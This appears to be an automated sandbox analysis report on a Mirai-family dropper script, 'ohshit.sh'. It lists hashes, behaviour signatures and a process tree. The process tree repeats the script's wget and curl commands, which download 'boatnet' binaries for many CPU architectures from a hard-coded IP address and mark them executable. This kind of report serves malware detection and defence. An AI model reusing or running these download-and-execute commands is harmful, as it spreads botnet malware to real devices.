Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240729-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240729-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    25-01-2025 17:46

General

  • Target

    ohshit.sh

  • Size

    2KB

  • MD5

    2b26df4917fc623af81b73ca389f0fce

  • SHA1

    9d1a15bf35f8518bef71a9e691d1c2c5cc705d67

  • SHA256

    ce8d8f245b73a552b5ad5d06d232145c76a29fef26172df984c49f8986b065aa

  • SHA512

    2f118fc82120eed2f050c2c40f37cd4418ced6b8ab314cc0c371682f606d8df258550147e03976b70b45c4678ecb96b7e5db9f69e7b5453c140acb0ca1c9a93f

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 2 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 28 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohshit.sh
    /tmp/ohshit.sh
    1⤵
    • Executes dropped EXE
    • Modifies Watchdog functionality
    • Writes file to system bin folder
    • Reads runtime system information
    • Writes file to tmp directory
    PID:1511
    • /usr/bin/wget
      wget http://178.215.238.156/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:1512
    • /usr/bin/curl
      curl -O http://178.215.238.156/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:1514
    • /bin/cat
      cat boatnet.x86
      2⤵
        PID:1518
      • /bin/chmod
        chmod +x boatnet.x86 config-err-XDxoSA netplan_f_h8ze_e ohshit.sh snap-private-tmp ssh-J64SSqjs5tXF systemd-private-d68236a8879f4d0f97016e0c5b378082-bolt.service-xLvsXs systemd-private-d68236a8879f4d0f97016e0c5b378082-colord.service-xZhE1x systemd-private-d68236a8879f4d0f97016e0c5b378082-ModemManager.service-z77pkT systemd-private-d68236a8879f4d0f97016e0c5b378082-systemd-resolved.service-NmAYj7 systemd-private-d68236a8879f4d0f97016e0c5b378082-systemd-timedated.service-dUFioZ WTF
        2⤵
        • File and Directory Permissions Modification
        PID:1519
      • /usr/bin/wget
        wget http://178.215.238.156/hiddenbin/boatnet.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1524
      • /usr/bin/curl
        curl -O http://178.215.238.156/hiddenbin/boatnet.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1525
      • /bin/chmod
        chmod +x boatnet.mips boatnet.x86 config-err-XDxoSA netplan_f_h8ze_e ohshit.sh snap-private-tmp ssh-J64SSqjs5tXF systemd-private-d68236a8879f4d0f97016e0c5b378082-bolt.service-xLvsXs systemd-private-d68236a8879f4d0f97016e0c5b378082-colord.service-xZhE1x systemd-private-d68236a8879f4d0f97016e0c5b378082-ModemManager.service-z77pkT systemd-private-d68236a8879f4d0f97016e0c5b378082-systemd-resolved.service-NmAYj7 systemd-private-d68236a8879f4d0f97016e0c5b378082-systemd-timedated.service-dUFioZ WTF
        2⤵
        • File and Directory Permissions Modification
        PID:1527
      • /usr/bin/wget
        wget http://178.215.238.156/hiddenbin/boatnet.arc
        2⤵
        • Writes file to tmp directory
        PID:1532
      • /usr/bin/curl
        curl -O http://178.215.238.156/hiddenbin/boatnet.arc
        2⤵
        • Writes file to tmp directory
        PID:1533
      • /bin/chmod
        chmod +x boatnet.arc boatnet.mips boatnet.x86 config-err-XDxoSA netplan_f_h8ze_e ohshit.sh snap-private-tmp ssh-J64SSqjs5tXF systemd-private-d68236a8879f4d0f97016e0c5b378082-bolt.service-xLvsXs systemd-private-d68236a8879f4d0f97016e0c5b378082-colord.service-xZhE1x systemd-private-d68236a8879f4d0f97016e0c5b378082-ModemManager.service-z77pkT systemd-private-d68236a8879f4d0f97016e0c5b378082-systemd-resolved.service-NmAYj7 systemd-private-d68236a8879f4d0f97016e0c5b378082-systemd-timedated.service-dUFioZ WTF
        2⤵
        • File and Directory Permissions Modification
        PID:1535
      • /usr/bin/wget
        wget http://178.215.238.156/hiddenbin/boatnet.i468
        2⤵
          PID:1540
        • /usr/bin/curl
          curl -O http://178.215.238.156/hiddenbin/boatnet.i468
          2⤵
          • Writes file to tmp directory
          PID:1541
        • /bin/chmod
          chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 config-err-XDxoSA netplan_f_h8ze_e ohshit.sh snap-private-tmp ssh-J64SSqjs5tXF systemd-private-d68236a8879f4d0f97016e0c5b378082-bolt.service-xLvsXs systemd-private-d68236a8879f4d0f97016e0c5b378082-colord.service-xZhE1x systemd-private-d68236a8879f4d0f97016e0c5b378082-ModemManager.service-z77pkT systemd-private-d68236a8879f4d0f97016e0c5b378082-systemd-resolved.service-NmAYj7 systemd-private-d68236a8879f4d0f97016e0c5b378082-systemd-timedated.service-dUFioZ WTF
          2⤵
          • File and Directory Permissions Modification
          PID:1543
        • /usr/bin/wget
          wget http://178.215.238.156/hiddenbin/boatnet.i686
          2⤵
            PID:1548
          • /usr/bin/curl
            curl -O http://178.215.238.156/hiddenbin/boatnet.i686
            2⤵
            • Writes file to tmp directory
            PID:1549
          • /bin/chmod
            chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 config-err-XDxoSA netplan_f_h8ze_e ohshit.sh snap-private-tmp ssh-J64SSqjs5tXF systemd-private-d68236a8879f4d0f97016e0c5b378082-bolt.service-xLvsXs systemd-private-d68236a8879f4d0f97016e0c5b378082-colord.service-xZhE1x systemd-private-d68236a8879f4d0f97016e0c5b378082-ModemManager.service-z77pkT systemd-private-d68236a8879f4d0f97016e0c5b378082-systemd-resolved.service-NmAYj7 systemd-private-d68236a8879f4d0f97016e0c5b378082-systemd-timedated.service-dUFioZ WTF
            2⤵
            • File and Directory Permissions Modification
            PID:1551
          • /usr/bin/wget
            wget http://178.215.238.156/hiddenbin/boatnet.x86_64
            2⤵
              PID:1556
            • /usr/bin/curl
              curl -O http://178.215.238.156/hiddenbin/boatnet.x86_64
              2⤵
              • Writes file to tmp directory
              PID:1557
            • /bin/chmod
              chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 config-err-XDxoSA netplan_f_h8ze_e ohshit.sh snap-private-tmp ssh-J64SSqjs5tXF systemd-private-d68236a8879f4d0f97016e0c5b378082-bolt.service-xLvsXs systemd-private-d68236a8879f4d0f97016e0c5b378082-colord.service-xZhE1x systemd-private-d68236a8879f4d0f97016e0c5b378082-ModemManager.service-z77pkT systemd-private-d68236a8879f4d0f97016e0c5b378082-systemd-resolved.service-NmAYj7 systemd-private-d68236a8879f4d0f97016e0c5b378082-systemd-timedated.service-dUFioZ WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1559
            • /usr/bin/wget
              wget http://178.215.238.156/hiddenbin/boatnet.mpsl
              2⤵
              • Writes file to tmp directory
              PID:1564
            • /usr/bin/curl
              curl -O http://178.215.238.156/hiddenbin/boatnet.mpsl
              2⤵
              • Writes file to tmp directory
              PID:1565
            • /bin/chmod
              chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-XDxoSA netplan_f_h8ze_e ohshit.sh snap-private-tmp ssh-J64SSqjs5tXF systemd-private-d68236a8879f4d0f97016e0c5b378082-bolt.service-xLvsXs systemd-private-d68236a8879f4d0f97016e0c5b378082-colord.service-xZhE1x systemd-private-d68236a8879f4d0f97016e0c5b378082-ModemManager.service-z77pkT systemd-private-d68236a8879f4d0f97016e0c5b378082-systemd-resolved.service-NmAYj7 systemd-private-d68236a8879f4d0f97016e0c5b378082-systemd-timedated.service-dUFioZ WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1567
            • /usr/bin/wget
              wget http://178.215.238.156/hiddenbin/boatnet.arm
              2⤵
              • Writes file to tmp directory
              PID:1572
            • /usr/bin/curl
              curl -O http://178.215.238.156/hiddenbin/boatnet.arm
              2⤵
              • Writes file to tmp directory
              PID:1573
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-XDxoSA netplan_f_h8ze_e ohshit.sh snap-private-tmp ssh-J64SSqjs5tXF systemd-private-d68236a8879f4d0f97016e0c5b378082-bolt.service-xLvsXs systemd-private-d68236a8879f4d0f97016e0c5b378082-colord.service-xZhE1x systemd-private-d68236a8879f4d0f97016e0c5b378082-ModemManager.service-z77pkT systemd-private-d68236a8879f4d0f97016e0c5b378082-systemd-resolved.service-NmAYj7 systemd-private-d68236a8879f4d0f97016e0c5b378082-systemd-timedated.service-dUFioZ WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1575
            • /usr/bin/wget
              wget http://178.215.238.156/hiddenbin/boatnet.arm5
              2⤵
              • Writes file to tmp directory
              PID:1580
            • /usr/bin/curl
              curl -O http://178.215.238.156/hiddenbin/boatnet.arm5
              2⤵
              • Writes file to tmp directory
              PID:1581
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-XDxoSA netplan_f_h8ze_e ohshit.sh snap-private-tmp ssh-J64SSqjs5tXF systemd-private-d68236a8879f4d0f97016e0c5b378082-bolt.service-xLvsXs systemd-private-d68236a8879f4d0f97016e0c5b378082-colord.service-xZhE1x systemd-private-d68236a8879f4d0f97016e0c5b378082-ModemManager.service-z77pkT systemd-private-d68236a8879f4d0f97016e0c5b378082-systemd-resolved.service-NmAYj7 systemd-private-d68236a8879f4d0f97016e0c5b378082-systemd-timedated.service-dUFioZ WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1583
            • /usr/bin/wget
              wget http://178.215.238.156/hiddenbin/boatnet.arm6
              2⤵
              • Writes file to tmp directory
              PID:1588
            • /usr/bin/curl
              curl -O http://178.215.238.156/hiddenbin/boatnet.arm6
              2⤵
              • Writes file to tmp directory
              PID:1589
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-XDxoSA netplan_f_h8ze_e ohshit.sh snap-private-tmp ssh-J64SSqjs5tXF systemd-private-d68236a8879f4d0f97016e0c5b378082-bolt.service-xLvsXs systemd-private-d68236a8879f4d0f97016e0c5b378082-colord.service-xZhE1x systemd-private-d68236a8879f4d0f97016e0c5b378082-ModemManager.service-z77pkT systemd-private-d68236a8879f4d0f97016e0c5b378082-systemd-resolved.service-NmAYj7 systemd-private-d68236a8879f4d0f97016e0c5b378082-systemd-timedated.service-dUFioZ WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1591
            • /usr/bin/wget
              wget http://178.215.238.156/hiddenbin/boatnet.arm7
              2⤵
              • Writes file to tmp directory
              PID:1596
            • /usr/bin/curl
              curl -O http://178.215.238.156/hiddenbin/boatnet.arm7
              2⤵
              • Writes file to tmp directory
              PID:1597
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-XDxoSA netplan_f_h8ze_e ohshit.sh snap-private-tmp ssh-J64SSqjs5tXF systemd-private-d68236a8879f4d0f97016e0c5b378082-bolt.service-xLvsXs systemd-private-d68236a8879f4d0f97016e0c5b378082-colord.service-xZhE1x systemd-private-d68236a8879f4d0f97016e0c5b378082-ModemManager.service-z77pkT systemd-private-d68236a8879f4d0f97016e0c5b378082-systemd-resolved.service-NmAYj7 systemd-private-d68236a8879f4d0f97016e0c5b378082-systemd-timedated.service-dUFioZ WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1599
            • /usr/bin/wget
              wget http://178.215.238.156/hiddenbin/boatnet.ppc
              2⤵
              • Writes file to tmp directory
              PID:1604
            • /usr/bin/curl
              curl -O http://178.215.238.156/hiddenbin/boatnet.ppc
              2⤵
              • Writes file to tmp directory
              PID:1605
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 config-err-XDxoSA netplan_f_h8ze_e ohshit.sh snap-private-tmp ssh-J64SSqjs5tXF systemd-private-d68236a8879f4d0f97016e0c5b378082-bolt.service-xLvsXs systemd-private-d68236a8879f4d0f97016e0c5b378082-colord.service-xZhE1x systemd-private-d68236a8879f4d0f97016e0c5b378082-ModemManager.service-z77pkT systemd-private-d68236a8879f4d0f97016e0c5b378082-systemd-resolved.service-NmAYj7 systemd-private-d68236a8879f4d0f97016e0c5b378082-systemd-timedated.service-dUFioZ WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1607
            • /usr/bin/wget
              wget http://178.215.238.156/hiddenbin/boatnet.spc
              2⤵
              • Writes file to tmp directory
              PID:1612
            • /usr/bin/curl
              curl -O http://178.215.238.156/hiddenbin/boatnet.spc
              2⤵
              • Writes file to tmp directory
              PID:1613
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-XDxoSA netplan_f_h8ze_e ohshit.sh snap-private-tmp ssh-J64SSqjs5tXF systemd-private-d68236a8879f4d0f97016e0c5b378082-bolt.service-xLvsXs systemd-private-d68236a8879f4d0f97016e0c5b378082-colord.service-xZhE1x systemd-private-d68236a8879f4d0f97016e0c5b378082-ModemManager.service-z77pkT systemd-private-d68236a8879f4d0f97016e0c5b378082-systemd-resolved.service-NmAYj7 systemd-private-d68236a8879f4d0f97016e0c5b378082-systemd-timedated.service-dUFioZ WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1615
            • /usr/bin/wget
              wget http://178.215.238.156/hiddenbin/boatnet.m68k
              2⤵
              • Writes file to tmp directory
              PID:1620
            • /usr/bin/curl
              curl -O http://178.215.238.156/hiddenbin/boatnet.m68k
              2⤵
              • Writes file to tmp directory
              PID:1621
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-XDxoSA netplan_f_h8ze_e ohshit.sh snap-private-tmp ssh-J64SSqjs5tXF systemd-private-d68236a8879f4d0f97016e0c5b378082-bolt.service-xLvsXs systemd-private-d68236a8879f4d0f97016e0c5b378082-colord.service-xZhE1x systemd-private-d68236a8879f4d0f97016e0c5b378082-ModemManager.service-z77pkT systemd-private-d68236a8879f4d0f97016e0c5b378082-systemd-resolved.service-NmAYj7 systemd-private-d68236a8879f4d0f97016e0c5b378082-systemd-timedated.service-dUFioZ WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1623
            • /usr/bin/wget
              wget http://178.215.238.156/hiddenbin/boatnet.sh4
              2⤵
              • Writes file to tmp directory
              PID:1628
            • /usr/bin/curl
              curl -O http://178.215.238.156/hiddenbin/boatnet.sh4
              2⤵
              • Writes file to tmp directory
              PID:1629
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 config-err-XDxoSA netplan_f_h8ze_e ohshit.sh snap-private-tmp ssh-J64SSqjs5tXF systemd-private-d68236a8879f4d0f97016e0c5b378082-bolt.service-xLvsXs systemd-private-d68236a8879f4d0f97016e0c5b378082-colord.service-xZhE1x systemd-private-d68236a8879f4d0f97016e0c5b378082-ModemManager.service-z77pkT systemd-private-d68236a8879f4d0f97016e0c5b378082-systemd-resolved.service-NmAYj7 systemd-private-d68236a8879f4d0f97016e0c5b378082-systemd-timedated.service-dUFioZ WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1631

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • /tmp/boatnet.x86

            Filesize

            20KB

            MD5

            371a8089f0d9b997dede00d908f2d729

            SHA1

            4dc06821ff7cec56b2bc31f788084bc1e12af2d7

            SHA256

            02062dff2765a4d772fa31daea8de2db65ea363cebf6662fda7426fe56c93a2e

            SHA512

            ca1706b263af403bad3872fe29977b6c78725e707eaa0fb2d4f613bfb0f7dcf75a3196a444f49ed6eeac8120df8132b073b94ee2b0d6b6f77055d6200f65d754